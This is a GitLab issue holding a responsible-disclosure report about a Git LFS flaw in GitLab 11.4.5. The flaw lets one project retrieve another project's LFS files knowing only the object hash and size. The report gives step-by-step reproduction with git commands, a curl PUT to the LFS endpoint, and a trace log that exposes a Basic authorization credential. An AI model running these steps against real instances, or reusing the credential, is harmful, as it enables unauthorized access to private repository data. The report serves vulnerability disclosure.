Skip to content

Users can access the content of any LFS object when only OID and size are known

Possible vulnerability in git's LFS

This came in through email - https://gitlab.zendesk.com/agent/tickets/108969


From Maxim Ivanov (nakhodainfra@linklaters.com)

This is a responsible disclosure of a vulnerability in Git LFS handling. Verified using version 11.4.5. Please involve security team in triaging this report.

Summary

If project A has file X in it's repository as a Git LFS tracked file, then any other project can retrieve this file knowing only hash and a size. This is possible due to lack of validation of the object PUTed to .../repo.git/gitlab-lfs/objects/:oid/:size

Steps to reproduce

This demos shows a leak of a file from Project A to Project B. /etc/hosts is used as a demo file, but obviously it can be anything

Prepare project A

$ git lfs install 
... 
$ cat > .gitattributes <<EOF 
hosts filter=lfs diff=lfs merge=lfs -text 
EOF 
$ cp /etc/hosts hosts 
$ git add hosts .gitattributes 
$ git commit -m "Adding hosts file" 
$ git push 

Show Git LFS oid of the file tracked by Git LFS. This is all attacker needs to know to get access to the file:

$ git cat-file -p HEAD:hosts 
version https://git-lfs.github.com/spec/v1 
oid sha256:fe1d005ee417209f609a52bfd4c5746f6ae490914acdab25c2652622531f6eb6 
size 642 

Project B

project B owner uses LFS OID and size only to recover full file from project A.

$ git lfs install 
$ git lfs ls-files # shows that now LFS managed files are present yet 
$ # create `hosts` file exactly in the format as git-lfs saves it in git tree, use `oid` and `size` of the file we want to peek at 
$ cat >hosts <<"EOF" 
version https://git-lfs.github.com/spec/v1 
oid sha256:fe1d005ee417209f609a52bfd4c5746f6ae490914acdab25c2652622531f6eb6 
size 642 
EOF

$ cat > .gitattributes <<EOF 
hosts filter=lfs diff=lfs merge=lfs -text 
EOF

$ # we need to get credentials for `PUT` command, so lets attempt to push and see them

$ GIT_TRACE=1 git push 
11:22:03.332699 trace git-lfs: HTTP: {"objects":[{"oid":"fe1d005ee417209f609a52bfd4c5746f6ae490914acdab25c2652622531f6eb6","size":642,"actions":{"upload":{"href":"https://gitlab.ci.i.nakhoda.ai/apps/sandbox.git/gitlab-lfs/objects/fe1d005ee417209f609a52bfd4c5746f6ae490914acdab25c2652622531f6eb6/642","header":{"Authorization":"Basic bWl2YW5vdjo0V0NtRFF6d3ZNc20zZW1pQmlxYnlYYkRFWXZMOEhEeHhBcTlfeW5GUTZMdVFBODdwUQ==","Content-Type":"application/octet-stream"}}}}]} 
11:22:03.332899 trace git-lfs: tq: starting transfer adapter "basic" 
...

$ # if we do `git lfs pull` here, then we'll get an error , because `oid` we try to peek at is not yet associated with the project, lets correct it

$ # following PUT adds `oid` of the file we want (originally stored in Project A) to the project B , so that `oid` becomes "known" to it. We use temporary credentials (XXXXXX) from previous unsuccessful git push 
$ curl -v -H "Authorization: Basic XXXXX" -XPUT https://gitlab.ci.i.nakhoda.ai/apps/sandbox.git/gitlab-lfs/objects/fe1d005ee417209f609a52bfd4c5746f6ae490914acdab25c2652622531f6eb6/642 --data-binary @- </dev/null

$ # now git lfs pull pulls the file from Git LFS 
$ git lfs pull

$ cat hosts # show content of the file "stolen" from project A: 
# 
# hosts This file describes a number of hostname-to-address 
# mappings for the TCP/IP subsystem. It is mostly 
# used at boot time, when no name servers are running. 
# On small systems, this file can be used instead of a 
# "named" name server. 
# Syntax: 
# 
# IP-Address Full-Qualified-Hostname Short-Hostname 
#

127.0.0.1 localhost

# special IPv6 addresses 
::1 localhost ipv6-localhost ipv6-loopback

fe00::0 ipv6-localnet

ff00::0 ipv6-mcastprefix 
ff02::1 ipv6-allnodes 
ff02::2 ipv6-allrouters 
ff02::3 ipv6-allhosts 
Edited by Nick Thomas